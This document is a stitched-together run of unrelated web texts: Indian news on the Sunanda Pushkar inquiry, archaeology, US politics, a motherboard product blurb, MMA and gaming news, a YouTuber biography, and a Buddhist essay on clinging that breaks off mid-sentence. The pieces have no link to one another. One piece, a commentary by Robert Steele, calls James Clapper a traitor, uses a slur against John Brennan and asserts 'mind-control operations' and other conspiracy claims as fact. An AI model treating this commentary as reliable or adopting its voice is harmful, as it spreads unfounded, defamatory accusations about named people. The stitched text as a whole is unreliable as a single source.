-NEW DELHI: Nalini Singh’s statement to police, which says Sunanda Pushkar told her hours before her death that Shashi Tharoor spent three days in Dubai with Pakistani journalist Mehr Tarar, may pose a problem for Tharoor, police sources said. Tarar allegedly told Shashi Tharoor that she could not live without him, Singh has claimed quoting Sunanda.As Delhi Police’s SIT goes through year-old evidence available with it before questioning Tharoor, sleuths say this part of the statement has ramifications and needs to be thoroughly probed. Tharoor was a Union minister at the time this alleged three-day meeting took place.In her statement, Singh says, “I knew Sunanda socially for the last 3-4 years. Over the last one year or so, Sunanda had started talking to me about her private life and particularly about her relationship with Shashi. Almost 6-7 months ago, Sunanda had shared her pain over what she regarded as mutual romantic interest between Shashi Tharoor and a Pakistani journalist named Mehr Tarar.“She told me that she was sure Tharoor and Tarar had spent three days together in Dubai in June 2013 and told me that, since she had a strong base in Dubai, her friends had informed her about it. And Sunanda had claimed she had proof of the allegations.“At 12.10am, on the intervening night of January 16 and 17, I got a call on my mobile from Sunanda. She sounded extremely distraught and was sobbing. She said Shashi and Tarar had exchanged intimate romantic messages. One message from Tarar implied that Tharoor was going to divorce Sunanda after the forthcoming general elections and marry Tarar. And that Tarar has written in a message that she cannot live without him.“Sunanda also alleged that Tharoor’s family was encouraging this affair. To my query on if the Twitter messages that were posted from Tharoor’s account were genuine, she said they were completely genuine and somebody who cared for her deeply had posted them in public space,” Singh said. Police believe this person was Sunil Trakru.Nalini Singh (TOI Photo by Ranjit Kumar)“Incidentally, she also said she had ‘taken over’ the crimes of Tharoor in the IPL matter. She said that Tharoor had never taken her to a hospital or doctor. She said she wanted my help in retrieving the BBM messages that Tharoor had deleted of his Blackberry. She said she already had a stock of such messages with her,” Singh said. During this conversation, Sunanda was joined by somebody (police said it was Narain) to whom she asked something about sahib and the male voice answered in Hindi.Police commissioner B S Bassi, meanwhile, reiterated that they were conducting a fair and thorough probe into the murder.
-Yes, diamonds are eternal, but processed gold has only been with us since about 4,500 B.C. At least that's the time period to which archaeologists are dating an eighth of an inch gold bead uncovered in Bulgaria. The tiny ornament is believed to be the oldest bit of processed gold ever discovered in Europe, and likely in the world, reports Angel Krasimiov at Reuters.  The bead is thought to predate the previous oldest gold objects, the Varna Gold, which as Andrew Curry writes for Smithsonian Journeys, is a cache of gold found in a necropolis outside the Black Sea port of Varna. Between 1972 and 1991, archaeologists found 13 pounds of gold artifacts buried in the necropolis. The Varna cache is something of mystery. The inhabitants of the region were believed to farmers who migrated out of the Anatolia Peninsula just a few centuries previously. How they were able to master the smelting of copper and gold in that short span of time is still not understood. This new bead pushes their mastery of metal working back another 200 years if the dating pans out.  “I have no doubt that it is older than the Varna gold,” Yavor Boyadzhiev, a professor at the Bulgarian Academy of Science in charge of the dig, tells Krasimiov. “It’s a really important discovery. It is a tiny piece of gold but big enough to find its place in history.”  The bead was discovered about two weeks ago at a dig site called Tell Yunatsite near the modern town of Pazardzhik, much further inland than Varna. Boyadzhiev says the settlement was a very sophisticated town, perhaps the first urban settlement in Europe. He believes the bead was likely manufactured on site. Researchers have also found hundreds of ceramic bird figurines at the site, probably used in some sort of religious worship. The settlement was also protected by a nine-foot-tall wall, though the town was likely destroyed by invaders around 4,100 B.C.  Tell Yunatsite has been excavated since the 1970s, and, along with the Varna necropolis, is part of an emerging “lost” Balkan Copper-age civilization. Researchers believe it had extensive trading networks, industrialized metal production for the first time in history and may have even created the world’s earliest known written scripts, should the symbols found on the Votive Tablet from the village of Gradeshnitsa be considered a form of writing.
-President Trump praised Christopher Columbus for being a "skilled navigator" in his Columbus Day proclamation Monday, despite the fact that the famed Italian explorer somehow ended up on the east coast of the Americas while looking for the East Indies, which lie on the other side of the world. "Columbus, and most others, underestimated the world's size, calculating that East Asia must lie approximately where North America sits on the globe (they did not yet know that the Pacific Ocean existed)," History.com writes.  Trump's proclamation, which goes on to exalt Columbus' "courageous feat [that] brought together continents," noticeably includes no mention of the indigenous people who already lived in the Americas, either. "The permanent arrival of Europeans to the Americas was a transformative event that undeniably and fundamentally changed the course of human history and set the stage for the development of our great nation," Trump wrote. He added: "We also take this opportunity to reaffirm our close ties to Columbus' country of birth, Italy. Italy is a strong ally and a valued partner in promoting peace and promoting prosperity around the world."  The proclamation breaks with former President Barack Obama's decision to use Columbus Day to discuss "the pain and suffering reflected in the stories of Native Americans who had long resided on this land prior to the arrival of European newcomers," The Hill points out. Many communities across the country no longer celebrate Columbus Day, which activists say glorifies the beginning of a bloody colonialist history in the Americas, and instead choose to celebrate Indigenous Peoples Day or Native Americans Day on the second Monday in October. Jeva Lange
-Product Description  Fast, Easy and Free – ASRock OMG technology allows you to establish an internet curfew or restrict internet access at specified times. Administrators are able to schedule the starting and ending hours of internet access granted to other users. Normally, ISPs (Internet Service Provider) will charge for internet curfew service. The service controls “all” the PCs connected at home through network remotely but all the PCs in that network will be restricted to access the internet at pre-setup times. However, ASRock OMG is a free tool for controlling internet access of each single PC. Parents can easily control internet access through BIOS setup to protect their kids from using Internet at inappropriate time, and meanwhile, enjoy their own internet space.  Internet Flash searches for available UEFI firmware updates from ASRock servers. System can auto-detect the latest UEFI from our servers and flash them within UEFI setup without entering Windows® OS.  Intel® Smart Connect Technology keeps content always up-to-date! It means that your email, favorite apps, and social networks are continually and automatically updated even when the system is asleep. Smart Connect will periodically wake up the PC while in a sleep state and check updates for things like email, Twitter, Facebook, etc. No more waiting for the latest world news or friends’ updates to be delivered—just enable this function and you’re up-to-date and ready to go.  Intel® Rapid Start Technology gets your device up and running faster from even the deepest sleep, saving time and battery life. It quickly returns where you left off with a PC that goes from deep-sleep to full awake in a flash. The ultra-responsive capability gives your device the power to quickly resume to Windows® 7 OS within few seconds and ensures ultra-low power consumption when on standby. With Intel® Rapid Start Technology, users can jump right back into everything they were doing!  Box Contains  Motherboard  Quick Installation Guide  Support Disk  Backplate  2 x S-ATA Data Leads Micro ATX Form Factor: 7.5-in x 6.7-in, 19.1 cm x 17.0 cm
-If you were wondering about Georges St-Pierre’s thoughts on Anderson Silva's and Nick Diaz’s positive UFC 83 drug tests, you can stop.  As usual, St-Pierre took the high road when asked by *Le Journal de Montreal’s Kevin Dubé for his opinion of the situation.  “Like everyone else, I was surprised when I heard the news,” he said sarcastically, according to the interviewer.  Scroll to continue with content Ad  St-Pierre went on to say it wasn’t his place to judge Silva, who tested positive for two steroids ahead of the bout, or Diaz, who tested positive for marijuana metabolites in his post-fight drug screening.  “I don’t wish them any ill will; it's terrible what happened to Anderson Silva – to his career, and also to him physically,” St-Pierre sympathized. “It’s not my intention to bash anyone, either."  St-Pierre has stated on more than one occasion that unless the UFC institutes a year-round WADA-sanctioned random drug-testing program he will not return to MMA. Although he is a vocal opponent of performance-enhancing drugs, the French-Canadian fighter said he won’t be a steroid whistle-blower. He says he will, however, continue to rally for a cleaner sport.  "I'm not a rat and I'll never go public and name names to reporters. My only hope is that we deal with this [PED] problem," St-Pierre said flatly. “I hope if one thing comes out of this, it's that testing will be done more stringently.”  “I really don't know [if this will prompt the UFC to increase out-of-competition drug testing]," St-Pierre said incredulously. "Maybe nothing will change. It depends on a lot of people."  One thing "Rush" does know is that, contrary to rumors stating otherwise, he still hasn’t made any plans to return to the cage in 2015.  "I think some journalists should re-check the credibility of their sources."  Story continues  *Cagewriter mistakenly reported that Dubé writes for La Press de Montreal. Dubé in fact writes for La Journal de Montreal. A link to the original source was also added to the original report. We apologize for the error and omission.
-Ross Kenry O'Donovan is an Australian animator, voice actor, and Internet personality. He is known for his YouTube and Newgrounds cartoons. He co-hosted the internet show Steam Train, a spin-off of YouTube Let's Play webseries Game Grumps.[1]  Early life [ edit ]  Ross Kenry O'Donovan was born on 17 June 1987 in Perth, Western Australia to Irish parents. He graduated from Corpus Christi College.[2] On September 29, 2012, O'Donovan married Holly Conrad, a cosplayer, propmaker, and special effects artist who was featured in Comic-Con Episode IV: A Fan's Hope, as well as Heroes of Cosplay.[3][4] On September 19th, 2018, Conrad and O’Donovan announced on their respective Twitter pages that they would be splitting up amicably due to reasons connected with Conrad’s recent move to Seattle.  Career [ edit ]  Animation [ edit ]  After graduating from Corpus Christi, O'Donovan studied and instructed animation at the Film and Television Institute of Western Australia in Fremantle, Western Australia.[5] O'Donovan's best known work is the series Gamer Tonight, which is voiced and co-written by animator Arin Hanson, and was produced for the ABC2 video game-based program Good Game.[6] The series features a fictitious talk show called Gamer Tonight with Richard Farkas, whose host would interview various types of gamers.[7] He also created the show Gameoverse, which featured Hanson in every speaking role. Gameoverse has since been put on hiatus, though O'Donovan has confirmed the series will return.[8] O'Donovan started animating on Newgrounds, under the name "RubberNinja." He then moved his animations to YouTube, but as a result of not being able to keep the username RubberNinja, he went under the name "RubberRoss." In January 2014, he received possession of the name RubberNinja, and uploaded a video on his old channel telling subscribers to transfer over to his new one. This video has since been removed.  In 2016, O'Donovan and Conrad were invited to Conrad's alma mater, UC Santa Barbara, to discuss their careers on YouTube at the Graphic Voices conference hosted by student organizations at the university.[9]  Game Grumps [ edit ]  After Jon Jafari's departure from Game Grumps in 2013, Hanson launched a second show on the Game Grumps platform, originally conceptualized by O'Donovan,[10] called Steam Train. This would replace a then-empty timeslot. Ninja Sex Party vocalist Dan Avidan joined O'Donovan as co-host of the show, where both play PC games (the title references the retailer Steam). This broadened the channel's output to three videos a day: on average, two standard Game Grumps episodes, and a single Steam Train episode. With the introduction of the show's second season, the parameters of Steam Train were expanded, allowing for O'Donovan and any member of Game Grumps to co-host (as opposed to only Avidan).  In addition to this, O'Donovan has acted as a co-host of other shows from the Game Grumps platform, including Grumpcade, Steam Rolled, and Hunting Monsters. O'Donovan was also a frequent guest on Table Flip. He has also authored multiple content-related animations for Game Grumps Animated.  Charity [ edit ]  In June 2015, O'Donovan launched a 5-episode miniseries, released on the Game Grumps channel, called Guild Grumps. O'Donovan mentored 4 members of the Game Grumps crew in a 5-day race to advance from Level 90 to Level 100 in the Warlords of Draenor expansion of World of Warcraft.[11] Each participant had $1,000 to donate to a charity of their choice, if they reached the goal. If they did not, their donation would be split between those who won. In the end, O'Donovan was the sole winner, and, combined with the participants' distributed funds, donated $5,000 to cancer research.  As of 2015, O'Donovan and Game Grumps have raised over $70,000 by hosting charity livestreams on Twitch.[12]  Influence [ edit ]  O'Donovan, alongside his cat, Orph, will appear as a playable character in the upcoming game, Hex Heroes. He will also provide voiceover work for his character.[13]  Filmography [ edit ]  Web series [ edit ]  Video games [ edit ]  Year Title Role 2017 Paradigm Double Denim Bridge Troll[14] 2017 Pinstripe Mr. Dicky TBA Hex Heroes Himself[15]
-Target has signed a power purchase agreement for Infinity Renewables’ Solomon Forks Wind Project, located in northwestern Kansas.  Target will buy 100 MW of energy from the 474 MW project to offset 100% of power the company uses at 150 stores throughout the region. Solomon Forks represents Target’s second wind energy agreement.  The wind farm, which is expected to begin commercial operations in the fourth quarter of 2018, is located across 50,000 acres of land near the city of Colby. Construction is slated to commence in early 2018.  “We are excited to work with Target on the Solomon Forks project,” says Matt Langley, Infinity’s vice president of origination and finance. “Target has shown great leadership in driving the development of low‐cost, clean energy development in the United States, and Infinity is pleased to be participating in that mission.”
-More than 900,000 people live in Nova Scotia.  Imagine if even one-quarter of them could be convinced to take just one photo or short video on a single day and share it with everyone else.  Put it all together, and you'd have A Day in the Life of Nova Scotia: 2014.  It's been done before, but never quite the way we're going to do it. And we need your help more than ever.  First, some background:  In 1993, CBC's First Edition dispatched TV cameras across the province to shoot vignettes. We saw the leader of the opposition, John Savage, shaving; a judge donning his robes; an emotional bride walking down the aisle; a baby's first breath. The piece felt like a love letter to the province.  Anyone look familiar?  The original A Day in the Life of Nova Scotia was shot in March 1993. Scenes include a bride and groom, hockey players, a woman in labour, toddlers — dozens of people in all. Let us know if you or someone you know was in the original piece. We'd love to catch up.  Now, 21 years on, CBC Nova Scotia will do it again.  But this time, most of the images will come from you.  On Oct. 17, we want you to show us your Nova Scotia. Whatever you're doing that day, whoever you're with, share a moment in time with us — and thousands of friends you haven't met yet.  Imagine 24 hours of shared experiences, preserved in a virtual tapestry.  You'll be able to contribute video and stills using email and social media, including YouTube, Facebook, Twitter and Instagram. For the first time, you'll also be able to watch the images uploading live, to see what everyone else is contributing to the project.  We'll have more details on the mechanics of all this as Oct. 17 draws closer.  For now, we’re hoping your imagination runs wild. What part of Nova Scotia will you share?  Stay tuned for Oct. 17: A Day in the Life of Nova Scotia.  On Monday, we asked for help identifying a baby girl born on March 12, 1993. Her birth was a highlight of CBC's A Day in the Life of Nova Scotia: 1993, which was shot on that day.  Late this afternoon, her dad called the newsroom to say he remembers the shoot vividly. His daughter's name is Emily and she's still living in Halifax.  We'll catch up with Emily and her family on Oct. 17, when we shoot A Day in the Life of Nova Scotia: 2014.
-James Clapper: Our Institutions ‘Are Under Assault’ Both Externally and Internally  Former Director of National Intelligence James Clapper says the United States’ political institutions are currently “under assault” both externally and internally, in the wake of President Donald Trump’s firing of ex-FBI Director James Comey.  “The developments of the past week are very bothersome, very disturbing to me,” Clapper said on CNN’s “State of the Union” on Sunday.  “I think in many ways our institutions are under assault, both externally — and that’s the big news here, the Russian interference in our election system — and I think as well, our institutions are under assault internally,”  When asked if he meant if those institutions were “under assault” internally by the president himself, Clapper said “exactly” and added that he believed Trump was undermining the checks and balances inherent to the U.S. political system.  ROBERT STEELE: There was a time, in the 1990’s, when I admired James Clapper. He was (no longer) easily one of the most intellectual flag officers I have ever known, in the top five out of roughly 70. Then he lost his integrity. The crap he is spouting today confirms his dishonesty — on the one hand, he is absolutely right, our Deep State institutions are under attack (and I am leading that charge with help from Cynthia McKinney and others soon to be identified) and on the other hand, he is so full of shit as to make me wonder if he could not receive a mental health examination. The Russians did not hack the US election — Hillary Clinton tried and failed to hack the election, and James Clapper committed treason on multiple occasions by allowing his notional subordinate Saudi Arabian whore and traitor John Brennan, to engage in all manner of domestic subversion.  James Clapper is a traitor with no moral compass. If I were advising our legitimate president, which I am not, I would suggest that James Clapper should be stripped of his clearances and denied access to all forms of classified information. This will make him unemployable — any company employing him without clearances should be denied eligibility for government contracts. His current “non-profit” employer should of course be denied any additional grants from the government.  This is the man who spent over a decade leading $70-100 billion a year in waste that was never able to satisfy more than 4% “at best” of what a major commander needs in the way of decision-support (and nothing for everyone else, least of all the troops on the front line).  This is a man who oversaw mass surveillance by NSA, spying on and blackmail of our politicians by NSA and CIA, drone assassination and torture & rendition by CIA, mind-control operations at a scale that will one day rival the Nuremberg trials, and more.  Good-bye, James Clapper.  See Especially:  #UNRIG – the End of the Deep State  See Also:  Deep State @ Phi Beta Iota  Robert Steele with Sarah Westall on Trump, Comey, the Integrity Revolution  Robert Steele: The Soft Coup Collapses – Blackmail Revealed – What Next? CIA was bluffing, produced no evidence – Russians did not “hack” the election. Is this the beginning of the end of the Deep State in the USA? Can Trump clean house & wage peace?  Robert Steele: UNHINGED: drone assassination – American suicide  Robert Steele: UNHINGED — Two Books on Terror Reviewed (Rebuttal, a Book of Lies & Broken!, Truth as Fiction)
-The wait for the third season of Rick and Morty has been long and agonizing, and while waiting for new episodes to materialize (aside from the surprise new episode on April Fools Day season three premiere), fans have been pulling their hair out, worrying about the future of the show and coming up with terrifying theories as to why it's taking so long.  But it turns out that it might not take much longer. Out of the blue, it was just announced that a Rick and Morty live stream event is going down at 9 p.m. EST on June 29, although details are scarce. Still, it seems like something worthwhile will be happening, based on a press release that ends on a promising note: "Don’t miss it. Or be late. Trust us." The vagueness of the whole thing sure does make it seem like we're getting a new Rick and Morty episode on Thursday.
-John Mulaney, left, as George St. Geegland and Nick Kroll as Gil Faizon in “Oh, Hello.” (Luke Fontana)  ⭐️⭐️⭐️⭐️  Even before I went to see OH, HELLO on Broadway (or “bridd-whey” as George says), I knew these guys. I knew the mid-thirties comedians Nick Kroll and John Mulaney who portray two wacky codgers in their mid-seventies Gil Faizon (Kroll) and George St. Geegland (Mulaney). I knew these Upper West Side aging creative types with giant egos and tiny resumes. What I didn’t expect was the rapid fire hilarity flowing virtually non-stop throughout the show. The jokes are sweet and loopy (“That sandwich has too much tuna!” see above).  Gil and George are roommates, co-authors and stars of their show-within-the-show about two aging roommates named Gil and George who get evicted from their Upper Westside apartment. Many of the jokes are about New York City history, Theatrical stage conventions and Steely Dan, all areas in my perview, so I was in stitches the entire evening. However, I can imagine inviting a relative from out-of-town to see the show and having them come away not understanding any of the references. For those of us who find these characters familiar, you will love this show. It is the perfect whimsical tonic for these turbulent times.  A Clip From The Show  Show Info  Show Site
-StarCraft II: Legacy of the Void comes out on November 10. The single-player campaign will wrap up 17 years of story in a series that has become a huge part of video game pop culture. So, hopefully, developer Blizzard is going to make fans happy with this third and final installment for StarCraft II.  Legacy of the Void is a stand-alone title, where you don’t have to already own StarCraft II: Wings of Liberty, which came out in 2010, or its sequel, StarCraft II: Heart of the Swarm, which debuted in 2013. But, it sure helps to know the backstory, as it’s a complicated narrative. At a time when the consoles are cranking out big titles for the fall, Legacy of the Void is an important title for the tens of millions of fans of PC gaming, as it will keep them loyal to the platform that represents the leading edge of gaming and technology.  At the end of Heart of the Swarm, Sarah Kerrigan defeated Arcturus Mengsk and got her revenge. She also found out the plans of the fallen xel’naga, Amon. He’s trying to combine the Zerg and Protoss DNA to create a hybrid that will kill everything living in the universe. She’s going to take the Swarm and try to hunt down the hybrid and stop him. And Protoss leader Artanis reunites the Protoss, goes back to the homeworld of Aiur, and plans to take back the homeworld from the Zerg.  Legacy of the Void’s single-player campaign focuses on Protoss leader Artanis and his struggle to unite his race against an ancient enemy. But, the tale also wraps up the story of Jim Raynor and Kerrigan, who became the Queen of Blades. In all of this, players aren’t going to be playing as human characters. And that’s going to create a challenge for Blizzard, as we’ll see how well players can relate to heroes who aren’t human.  We caught up with Tim Morten, lead producer at Blizzard on Legacy of the Void, at the recent TwitchCon gameplay-livestreaming conference in San Francisco to talk about the latest addition to Starcraft II. Here’s an edited transcript of our event.  Image Credit: Dean Takahashi  GamesBeat: Can you talk about what you revealed in the video today?  Tim Morten: We showed two new pieces of content. The first was a story recap done cartoon style, kind of a whimsical look back on the entire history of StarCraft. The second video piece was called “Reclamation.” That takes place just before the opening cinematic of Legacy of the Void. It’s a conversation between Artanis and one of the zealots who’ll be leading the attack on Aiur. Then, we announced three new commanders for our co-op missions mode that will be coming with Legacy of the Void.  GamesBeat: Is the opening cinematic already out?  Morten: It is. What we showed today sets up the conflict Artanis is going through just before reclaiming Aiur.  GamesBeat: Is all the action taking place on the Protoss homeworld, or are you bouncing around a lot?  Morten: Aiur does factor in, but we cover a lot of locations in the sector over the course of the game.  GamesBeat: What sort of reaction did you get today?  Morten: I’ve been taking a look at Reddit and whatnot to see what fans are thinking. I’m seeing a tremendous amount of positivity around seeing the history of that particular character, the scar-faced Zealot who lead the charge. People also enjoyed the cartoon style of the first video, so we’ve seen some good positivity.  Image Credit: Blizzard  GamesBeat: Do people still relate with these characters, even though they’re not human?  Morten: It’s been an interesting journey for StarCraft. It started Terran with Wings of Liberty, and Kerrigan became the personification of the Zerg in Heart of the Swarm. In this one, the human characters certainly play a part in the story, but we put a lot of work into making the Protoss expressive, even though they don’t have mouths. That goes for everything from how the faces are animated in the cutscenes, how the eyes flare, how the brows move…. There are universal elements in how they communicate that still convey emotion.  GamesBeat: And they’re helping each other out in familiar ways.  Morten: Yeah. The themes are universal.  GamesBeat: What’s the feeling you want people to have after they finish this game? What do you want to accomplish?  Morten: I hope they come away feeling satisfied with how the story resolves. We’re working hard to make that the moment everyone is looking forward to, tying up the story arc with Raynor, Kerrigan, and Artanis. But the other thing I want them to come away with is a sense of fulfillment around the game mechanics, the new modes we’ve introduced, the open-endedness of tournaments, Archon mode, co-op mode. These are things that should keep StarCraft exciting for players well past the end of the campaign.  GamesBeat: More ways to retain players, basically?  Morten: It’s more ways for players to continue to be engaged. Automated tournaments are something that … we’ve seen this with straight ladder [player versus player], the competitive drive that pushes people to keep going up the ladder toward masters and grandmasters. Now, with automated tournaments, there’s a whole new pathway for people to compete. It’s about winning the tournament, rather than climbing to be the best in a region.  GamesBeat: What kind of progress has StarCraft made as an esport over the years?  Morten: You look at how the production values have evolved. We just had the season-three finals. It was a spectacular exhibition of competition. We had the final match in Krakow, Poland, with Mana versus Lilbow. Mana being from Poland, the crowd was rooting for him. Lilbow was a contender to go to BlizzCon, and he’s the one contender not coming out of Korea. There was this tremendous back and forth trade. Is the local hero going to take it, or is the underdog going to BlizzCon? In the end Lilbow made it. This is the first BlizzCon that will see a European champion going up against the Koreans. There’s so much excitement around what the future can bring beyond that.  GamesBeat: What’s your sense of how big the community is now? You can still fill stadiums, it seems like.  Morten: Even now, between launches, we see tremendous engagement in terms of monthly active users. Total size of the community … we’ll get a better sense once Legacy of the Void launches. But there are millions and millions of people out there playing.  Even though we’re wrapping up the story with this release, as a team, we plan to continue working on StarCraft II. We’ll continue supporting the player base and the universe. Even though this is a resolution to the story, it’s not the end of StarCraft.
-First Things First  Thanissaro Bhikkhu  If you were to ask people familiar with Buddhism to identify its two most important wisdom teachings, they’d probably say emptiness and the four noble truths. If you were to ask them further which of the two teachings was more fundamental, they might hesitate, but most of them would probably put emptiness first, on the grounds that the four noble truths deal with a mental problem, while emptiness describes the way things in general are.  It wasn’t always this way. The Buddha himself gave more importance to the four noble truths, and it’s important to understand why.  When he boiled his teaching down to its shortest formulation, he said that he taught just dukkha—suffering and stress—and the cessation of dukkha (MN 22; SN 22:86). The four noble truths expand on this formulation, defining what suffering is—clinging; how it’s caused—craving and ignorance; the fact that it can be brought to an end by abandoning its cause; and the path of practice that leads to that end. Because part of the path of practice contains desire—the desire, in right effort, to act skillfully so as to go beyond suffering—the four noble truths also expand on one of the Buddha’s main observations about the phenomena of experience: that with the exception of nibbāna, they’re all rooted in desire (AN 10:58). People aren’t simply passive recipients of their experience. Starting from their desires, they play an active role in shaping it. The strategy implied by the four noble truths is that desire should be retrained so that, instead of causing suffering, it helps act toward suffering’s end.  As for emptiness, the Buddha mentioned it only rarely, but one of his definitions for emptiness (SN 35:85) closely relates it to another teaching that he mentioned a great deal. That’s the teaching popularly known as the three characteristics, and that the Buddha himself called, not “characteristics,” but “perceptions”: the perception of inconstancy, the perception of suffering/stress, and the perception of not-self. When explaining these perceptions, he taught that if you perceive fabricated things—all things conditioned by acts of intention—as inconstant, you’ll also see that they’re stressful and thus not worthy identifying as you or yours.  His purpose in teaching these perceptions was for them to be applied to suffering and its cause as a way of fostering dispassion for the objects of clinging and craving, and for the acts of clinging and craving themselves. In this way, these perceptions were aids in carrying out the duties appropriate to the four noble truths: to comprehend suffering, to abandon its cause, to realize its cessation by developing the path. In other words, the four noble truths and their duties supplied the context for the three perceptions and determined their role in the practice.  However, over the centuries, as the three perceptions were renamed the three characteristics, they morphed in two other ways as well. First, they turned into a metaphysical teaching, as the characteristics of what things are: All are devoid of essence because they’re impermanent and, since nothing has any essence, there is no self. Second, because these three characteristics were now metaphysical truths, they became the context within which the four noble truths were true.  This switch in roles meant that the four noble truths morphed as well. Whereas the Buddha had identified suffering with all types of clinging—even the act of clinging to the phenomenon of the deathless (amata-dhamma), the unchanging dimension touched at the first taste of awakening—the relationship between clinging and suffering was now explained by the metaphysical fact that all possible objects of clinging were impermanent. To cling to them as if they were permanent would thus bring sorrow and disappointment.  As for the ignorance that underlies craving: Whereas the Buddha had defined it as ignorance of the four noble truths, it was now defined as ignorance of the three characteristics. People cling and crave because they don’t realize that nothing has any essence and that there is no self. If they were to realize the truth of these teachings through direct experience—this became the purpose of mindfulness practice—they wouldn’t cling any more, and so wouldn’t suffer.  This is how this switch in context, giving priority to the three characteristics over the four noble truths, has come to dominate modern Buddhism. The common pattern is that when modern authors explain right view, which the Buddha equated with seeing things in terms of the four noble truths, the discussion quickly switches from the four noble truths to the three characteristics to explain why clinging leads to suffering. Clinging is no longer directly equated with suffering; instead, it causes suffering because it assumes permanence and essence in impermanent things.  Even teachers who deny the truth of the four noble truths—on the grounds that the principle of impermanence means that no statement can be true everywhere for everyone—still accept the principle of impermanence as a metaphysical truth accurately describing the way things everywhere are.  As these explanations have percolated through modern culture, both among people who identify themselves as Buddhist and among those who don’t, they’ve given rise to four widespread understandings of the Buddha’s teachings on clinging and how it’s best avoided so as to stop suffering:  1. Because there is no self, there is no agent. People are essentially on the receiving end of experience, and they suffer because they cling to the idea that they can resist or control change. 2. To cling means to hold on to something with the misunderstanding that it’s permanent. For this reason, as long as you understand that things are impermanent, you can embrace them briefly as they arise in the present moment and it doesn’t count as clinging. If you embrace experiences in full realization that you’ll have to let them go so as to embrace whatever comes next, you won’t suffer. As long as you’re fully in the moment with no expectations about the future, you’re fine. 3. Clinging comes from the mistaken view that there can be such a thing as long-term happiness. But because all things are fleeting, there is no such thing. Pleasures, like pains, simply come and go. When you can resign yourself to this fact, you can open to the spacious wisdom of non-clinging, equanimous and accepting, as you place no vain expectations on the fleeting show of life. These three understandings are often illustrated with the image of a perfectly fluid dancer, happily responsive to changes in the music decided by the musicians, switching partners with ease. A recent bestseller that devoted a few pages to the place of Buddhism in world history illustrated these three understandings of the Buddhist approach to suffering with another image: You’re sitting on the ocean shore, watching the waves come in. If you’re stupid enough to want to cling to “good” waves to make them permanent and to push “bad” waves away, you’ll suffer. But if you accept the fact that waves are just waves, fleeting and incessant, and that there’s no way you can either stop or keep them, you can be at peace as you simply watch, with full acceptance, as they do their thing. 4. The fourth widespread understanding about the Buddhist stance on clinging is closely related to the other three: Clinging means holding on to fixed views. If you have set ideas about what’s right or wrong, or about how things should be—even about how the Buddha’s teachings should be interpreted—you’ll suffer. But if you can let go of your fixed views and simply accept the fact that right and wrong keep changing along with everything else, you’ll be fine.  I recently saw a video clip of a French Buddhologist explaining this principle: When asked by a female interviewer to explain the practical applications of the teaching on impermanence in daily life, he replied, “It means that we have to accept that my love for you today will be different from my love for you yesterday.”  It’s been argued that these three understandings of the Buddha’s teachings on clinging don’t promote an attitude of unhealthy passivity, on the grounds that if you’re fully attuned to the present moment without clinging, you can be more freely active and creative in how you respond to change. But still, there’s something inherently defeatist in the picture they offer of life and of the possibilities of happiness that we as human beings can find. They allow for no dimension where we can be free from the unpredictability of waves or the self-righteous infidelity of lovers. It’s only within this narrow range of possibilities that our non-clinging creativity can eke out a little peace.  And when we compare these understandings with the Buddha’s actual teachings on clinging and the end of clinging—returning the three characteristics to their original role as three perceptions, and putting the four noble truths back in their rightful place as the context for the three perceptions—we’ll see not only how far the popular understandings of his teachings deviate from what he actually taught, but also what an impoverished view of the potentials for happiness those popular understandings provide.  To begin with, a lot can be learned from looking at the Pali word for clinging, upādāna. In addition to clinging, it also means sustenance and the act of taking sustenance: in other words, food and the act of feeding. The connection between feeding and suffering was one of the Buddha’s most radical and valuable insights, because it’s so counter-intuitive and at the same time so useful. Ordinarily, we find so much pleasure in the act of feeding, emotionally as well as physically, that we define ourselves by the way we feed off the world and the people around us. It took someone of the Buddha’s genius to see the suffering inherent in feeding, and that all suffering is a type of feeding. The fact that we feed off things that change simply adds an extra layer of stress on top of the stress intrinsic in the felt need always to feed.  And just as we feed off physical food without assuming that it’s going to be permanent, clinging to things doesn’t necessarily mean that we assume them to be permanent. We cling whenever we sense that the effort of clinging is repaid by some sort of satisfaction, permanent or not. We cling because there’s some pleasure in the things to which we cling (SN 22:60). When we can’t find what we’d like to cling to, our hunger forces us to take what we can get. For this reason, the act of embracing things in the present moment still counts as clinging. Even if we’re adept at moving from one changing thing to another, it simply means that we’re serial clingers, taking little bites out of every passing thing. We still suffer in the incessant drive to keep finding the next bite to eat.  This is why being constantly mindful of the truth of impermanence isn’t enough to solve the problem of suffering. To really solve it, we need to change our feeding habits—radically—so that we can strengthen the mind to the point where it no longer needs to feed. This requires a two-pronged strategy: (a) seeing the drawbacks of our ordinary ways of feeding, and (b) providing the mind with better food in the meantime until it has outgrown the need to feed on anything at all.  The first prong of the strategy is where the three perceptions come in. First you apply them to things to which you might cling or crave, to see that the benefits of holding on to those things are far outweighed by the drawbacks. You focus on the extent to which the happiness they provide is inconstant, and that because it’s inconstant, the effort to rest in it involves stress. When you see that the happiness isn’t worth the effort of the clinging, you realize that it’s not worthy to claim as you or yours. It’s not-self: in other words, not worth claiming as self. In this way, the perception of not-self isn’t a metaphysical assertion. It’s a value judgment, that the effort to define yourself around the act of feeding on those things simply isn’t worth it.  This analysis works, however, only if you have something better to feed on in the interim. Otherwise, you’ll simply go back to your old feeding habits. Nobody ever stopped eating simply through the realization that foods and stomachs are impermanent.  This is where the second prong of the Buddha’s strategy comes in. You develop the path as your interim nourishment, focusing in particular on the pleasure and rapture of right concentration as your alternative source of food (AN 7:63). When the path is fully developed, it opens to another dimension entirely: the deathless, a happiness beyond the reach of space, time, and all phenomena of the six senses.  But because the mind is such a habitual feeder, on its first encounter with the deathless it tries to feed on it—which turns the experience into a phenomenon, an object of the mind. Of course, that act of feeding stands in the way of full awakening. This is where the perception of not-self gets put to use once more, to counteract this last form of clinging: to the deathless. Even though the deathless in itself is neither stressful nor inconstant, any act of clinging to it has to involve stress. So the perception of not-self has to be applied here as well, to peel away this last obstacle to full awakening beyond all phenomena. When this perception has done its work, “not-self” gets put aside—just as everything else is let go—and the mind, free from hunger, gains full release.  A traditional image for this release is of a person standing on firm ground after taking the raft of the noble eightfold path over a river in flood. Safe from the waves and currents of the river, the person is totally free—even freer than the image can convey. There’s nothing intrinsically hunger-free about standing on a riverbank—it’s more a symbol of relief—but everyone who has experienced what the image is pointing to guarantees that, to the extent that you can call it a place, it’s a place of no hunger and so no need for desire.  If we compare this image with that of the person on the shore of the ocean watching the waves, we can get a sense of how limited the happiness that’s offered by understanding the four noble truths in the context of the three characteristics is, as opposed to the happiness offered by understanding the three perceptions in the context of the four noble truths.  To begin with, the Buddha’s image of crossing the river doesn’t put quotation marks around concepts of good and bad waves in the water. The flood is genuinely bad, and the ultimate goodness in life is 